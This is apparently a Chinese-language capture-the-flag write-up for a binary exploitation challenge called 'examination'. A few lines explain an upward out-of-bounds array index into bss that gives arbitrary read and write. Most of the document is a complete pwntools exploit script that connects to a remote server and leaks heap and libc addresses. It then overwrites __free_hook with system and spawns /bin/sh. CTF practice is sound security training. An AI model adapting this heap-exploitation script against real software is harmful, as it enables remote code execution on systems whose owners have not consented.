csdn推给我大佬的题解
kayakaya
我发现这似乎才是正解 我解法更像个非预期。
浅记录一下。
我利用的漏洞是题目里面广泛出现的数组越界。
能向上越。
类似于这种地方
都可以向上越。
然后就在bss上找了个合适的地方。
众所周知bss上有个很有意思的指针。
就在这个5008这里。
这个指针一直指向它自己。
所以就越界在这个地方建立了那个mod结构体
并且写了内容。
mod的地址又写在了5018的地方,我们又可以越界把5018当成student那个结构体。
最后就导致向上越界5008结构体可以直接控制5018结构体
实现任意读写。
所以我还纳闷为啥给的malloc没用上。
# -*- coding: utf-8 -*-
from pwn import*
context.log_level='debug'
context.arch='amd64'
context.os = "linux"
pc = "./examination"
local = 0
if local:
r = process(pc)
elf = ELF(pc)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
r = remote("124.70.130.92", 60001)
elf = ELF(pc)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
def db():
gdb.attach(r)
pause()
def dbs(src):
gdb.attach(r, src)
def t_add(num):
sla("choice>> ", "1")
sla("enter the number of questions: ", str(num))
def t_give():
sla("choice>> ", "2")
def write_view_1(index, comment):
sla("choice>> ", "3")
sla("which one? > ", str(index))
sa("enter your comment:", comment)
def write_view_2(index, size, comment):
sla("choice>> ", "3")
sla("which one? > ", str(index))
sla("please input the size of comment: ", str(size))
sa("enter your comment:", comment)
def call(index):
sla("choice>> ", "4")
sla("which student id to choose?\n", str(index))
def change(index):
sla("choice>> ", "5")
sla("role: <0.teacher/1.student>: ", str(index))
def pray(content):
sla("choice>> ", "6")
sla("never pray again!\n", content)
def id(id):
sla("choice>> ", "6")
sla("input your id: ", str(id))
def ppray(index):
id(index)
sla("choice>> ", "3")
def set_mod(index, content):
id(index)
sla("choice>> ", "4")
sla("enter your mode!\n", content)
def check_view(index):
id(index)
sla("choice>> ", "2")
sla("role: <0.teacher/1.student>: ", "0")
t_add(1) #0
change(1)
ppray(0)
change(0)
t_give()
change(1)
id(0)
sla("6. change id\n", "2")
ru("0x")
heap_base = int(rc(12), 16) - 0x2a0
lg("heap_base")
sa("add 1 to wherever you want! addr: ", b"00" + str(heap_base + 0x280))
change(0)
t_add(1) #1
write_view_2(1, 0x350, "aaaa")
change(0)
t_add(1) #2
write_view_2(2, 0x350, "aaaa")
change(1)
id(-15)
set_mod(-15, p64(heap_base + 0xa58) + p64(0xdeadbeef) + p64(heap_base + 0x338))
change(0)
write_view_1(-13, p64(0x711))
call(1)
change(1)
set_mod(-15, p64(heap_base + 0xa58) + p64(0xdeadbeef) + p64(heap_base + 0x340))
check_view(-13)
ru("here is the review:\n")
libc_base = u64(rc(6) + '\x00\x00') - 0x1ecbe0
free_hook=libc_base + libc.sym['__free_hook']
sys_addr=libc_base + libc.sym['system']
lg("libc_base")
lg("free_hook")
lg("sys_addr")
change(1)
set_mod(-15, p64(heap_base + 0xa58) + p64(0xdeadbeef) + p64(free_hook))
change(0)
write_view_1(-13, p64(sys_addr))
t_add(1) #1
write_view_2(2, 0x50, "/bin/sh\x00")
call(2)
ti()